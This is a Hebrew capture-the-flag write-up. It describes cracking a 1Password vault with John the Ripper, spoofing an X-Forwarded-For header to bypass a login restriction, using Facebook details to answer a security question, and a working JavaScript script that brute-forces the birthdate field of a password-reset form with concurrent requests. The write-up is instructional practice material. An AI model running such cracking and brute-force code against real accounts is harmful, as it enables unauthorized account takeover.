IAmBrute
נכתב על ידי Narcissus

הורדנו וחילצנו את הקובץ Marina.vault.zip קיבלנו את התיקייה Marina.vault.opvault. היא הכילה תיקייה נוספת default שבתוכה היה band_2.js ו-profile.js.
התקייה היא בעצם כספת סיסמאות של התוכנה 1password.
בעזרת 1password2john הוצאנו האש של הכספת: 1password2john.py Marina.vault.opvault > hash, ואז בעזרת ג'ון המרטש פיצחנו את המפתח מאסטר: john hash לאחר מכן john hash --show שהדפיס ?:Marina.
התקנו 1password וטענו לתוכה את הכספת, היא ביקשה את המפתח מאסטר:

הזנו Marina לפי הפלט של ג'ון וקיבלנו פרטי התחברות:

ניגשנו לאתר שצוין וקיבלנו מסך התחברות. פשוט להזין את שם המשתמש והסיסמה שקיבלנו מ-1password לא עבד, קיבלנו שגיאה:

הוספנו את ההדר x-forwarded-for: 192.168.20.1 ושלחנו בקשה חדשה. הוחזרנו שוב למסך התחברות אבל הפעם הייתה עוגיה בתשובה מהשרת.
session:
httpOnly: true
path: /
value: eyJ1c2VyX2lkIjoiMiJ9.Dfb96g.6DzT1iCHG3k7kQUTdY5VUDlrG9wשמרנו את העוגיה וניגשנו לעמוד אינדקס. הועברנו לעמוד פניות:

בפניות מצאנו את עמודי הפייסבוק של מרינה וג'ורג' (ראש מחלקת IT):
אולי זה יעזור לנו בהמשך. בינתיים אנחנו צריכים למצוא איך להתחבר למשתמש של ג'ורג'. בואו נתנתק ונראה מה היה בעמוד Forgot My Password שראינו קודם:

יש לנו את שם המשתמש שלו: george. צריך להוסיף לזה את תאריך הלידה ותשובה לאחת משלוש שאלות אבטחה. אולי עכשיו פייסבוק יהיה שימושי.
באזור אודות מצאנו שהוא נולד ב-1991 ושהעמוד היחיד שהוא עשה לו לייק זה העמוד FRIENDS (TV Show). נעשה ברוטפורס לחודש ויום של תאריך הלידה שלו.
class FileDownloader{
constructor(url, pool_size) {
this.url = url;
this.pool_size = pool_size;
}
createQueue(){
const arr = [];
for (let i=1;i<32;i++)
for (let j=1;j<13;j++)
arr.push(i.toString().padStart(2, "0")+"/"+j.toString().padStart(2, "0")+"/1991");
return Promise.resolve(arr);
}
send_request(elem){
return fetch(this.url, {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: "__CSRFToken__="+document.querySelector("[name=csrf_token]").getAttribute("content")+"&birthday="+elem+"&do=sendmail&question_answer=Friends&question_id=2&username=george"
}).then(res => res.text())
}
next(){
const index = this.queue.shift();
if (index == undefined)
return {index:-1};
return index;
}
download_part(elem, count = 3){
if (count == 0){
console.error("Couldn't download part "+elem.index);
}
if (elem.index == -1)
return;
this.send_request(elem)
.then(response => {
if (response.includes("Incorrect answer!")){
console.log("failed");
} else {
console.log("Password: "+elem);
}
this.download_part(this.next());
this.remaining--;
}).catch(err => {
this.download_part(elem, count-1);
});
}
async start(){
this.queue = await this.createQueue()
this.remaining = this.queue.length;
this.parts = Array(this.queue.length);
this.stop = false;
for (let i=0; i< Math.min(this.queue.length,this.pool_size); i++){
this.download_part(this.next());
}
}
}
new FileDownloader("/pwreset.php", 1000).start()קרדיט לקוד מגיע ל-naweiss.

מעולה, עכשיו אפשר להתחבר עם אותו טריק כמו בפעם הקודמת:

ועכשיו לראות את תוכנן הפנייה:

